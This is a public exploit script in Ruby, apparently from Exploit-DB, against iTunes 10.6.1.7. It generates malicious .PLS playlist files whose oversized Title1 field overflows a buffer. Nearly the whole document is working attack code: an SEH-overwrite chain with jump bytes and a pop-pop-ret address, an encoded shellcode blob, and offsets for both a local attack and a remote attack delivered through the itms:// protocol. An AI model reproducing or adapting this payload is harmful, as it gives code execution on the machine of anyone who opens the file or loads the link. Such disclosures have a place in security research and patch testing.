iTunes 10.6.1.7 - '.PLS' Title Buffer Overflow

# Exploit Title: Apple Itunes PLS title buffer overflow

# Date: April 26 ,2015 (Day of disclosing this exploit code)

# Exploit Author: Fady Mohamed Osman (@fady_osman)

# Vendor Homepage: http://www.apple.com

# Software Link: http://www.apple.com/itunes/download/?id=890128564

# Version: 10.6.1.7

# Tested on: Windows Xp sp3

# Exploit-db : http://www.exploit-db.com/author/?a=2986

# Youtube : https://www.youtube.com/user/cutehack3r

header = "[Playlist]\r\n"

header << "NumberOfEntries=1\r\n"

header << "File1=http://www.panix.com/web/faq/multimedia/sample.mp3\r\n"

header << "Title1="

nseh_longer = "\xeb\x1E\x90\x90"

nseh_shorter = "\xeb\x06\x90\x90"

seh = 0x72d119de #pop pop ret from msacm32.drv

shell = "\xdd\xc1\xd9\x74\x24\xf4\xbb\x2b\x2b\x88\x37\x5a\x31\xc9" +

"\xb1\x33\x83\xea\xfc\x31\x5a\x13\x03\x71\x38\x6a\xc2\x79" +

"\xd6\xe3\x2d\x81\x27\x94\xa4\x64\x16\x86\xd3\xed\x0b\x16" +

"\x97\xa3\xa7\xdd\xf5\x57\x33\x93\xd1\x58\xf4\x1e\x04\x57" +

"\x05\xaf\x88\x3b\xc5\xb1\x74\x41\x1a\x12\x44\x8a\x6f\x53" +

"\x81\xf6\x80\x01\x5a\x7d\x32\xb6\xef\xc3\x8f\xb7\x3f\x48" +

"\xaf\xcf\x3a\x8e\x44\x7a\x44\xde\xf5\xf1\x0e\xc6\x7e\x5d" +

"\xaf\xf7\x53\xbd\x93\xbe\xd8\x76\x67\x41\x09\x47\x88\x70" +

"\x75\x04\xb7\xbd\x78\x54\xff\x79\x63\x23\x0b\x7a\x1e\x34" +

"\xc8\x01\xc4\xb1\xcd\xa1\x8f\x62\x36\x50\x43\xf4\xbd\x5e" +

"\x28\x72\x99\x42\xaf\x57\x91\x7e\x24\x56\x76\xf7\x7e\x7d" +

"\x52\x5c\x24\x1c\xc3\x38\x8b\x21\x13\xe4\x74\x84\x5f\x06" +

"\x60\xbe\x3d\x4c\x77\x32\x38\x29\x77\x4c\x43\x19\x10\x7d" +

"\xc8\xf6\x67\x82\x1b\xb3\x98\xc8\x06\x95\x30\x95\xd2\xa4" +

"\x5c\x26\x09\xea\x58\xa5\xb8\x92\x9e\xb5\xc8\x97\xdb\x71" +

"\x20\xe5\x74\x14\x46\x5a\x74\x3d\x25\x3d\xe6\xdd\x84\xd8" +

"\x8e\x44\xd9"

#1020 --> offset in local exploits

payload = header + "A" * 1020 + nseh_shorter + [seh].pack('V') + shell

#380 or 404 (if itunes wasn't already loaded)--> offset in remote ones using the itms protocol.

payload_remote = header + "A" * 380 + nseh_longer + [seh].pack('V') + "A" * 16 + nseh_shorter + [seh].pack('V') + shell

# when using as local exploit

open('exploit.pls', 'w') { |f|

f.puts payload

}

puts('local file created')

# place this in a web server and use the itms:// protocol to load it.

open('exploit_remote.pls', 'w') { |f|

f.puts payload_remote

}

puts('remote file created')